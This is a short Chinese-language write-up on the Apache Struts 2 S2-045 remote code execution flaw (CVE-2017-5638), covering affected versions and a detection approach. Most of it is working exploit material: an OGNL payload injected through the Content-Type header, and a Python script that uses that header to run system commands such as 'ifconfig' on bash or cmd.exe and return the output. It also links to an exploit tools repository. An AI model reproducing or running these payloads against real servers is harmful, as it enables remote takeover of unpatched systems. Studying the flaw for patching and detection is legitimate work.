S2-045远程代码执行漏洞

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。

影响范围

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

不受影响的范围

Struts 2.3.32 Struts 2.5.10.1

漏洞检测

payload:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(31337*31337)).(#ros.flush())}

Content-Type插入如下检测脚本

查看回包：
可以看到上面我们构造的31337*31337成功执行

检测poc:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
poc()

其他：
https://github.com/jas502n/S2-045-EXP-POC-TOOLS

参考链接：
https://www.anquanke.com/post/id/85744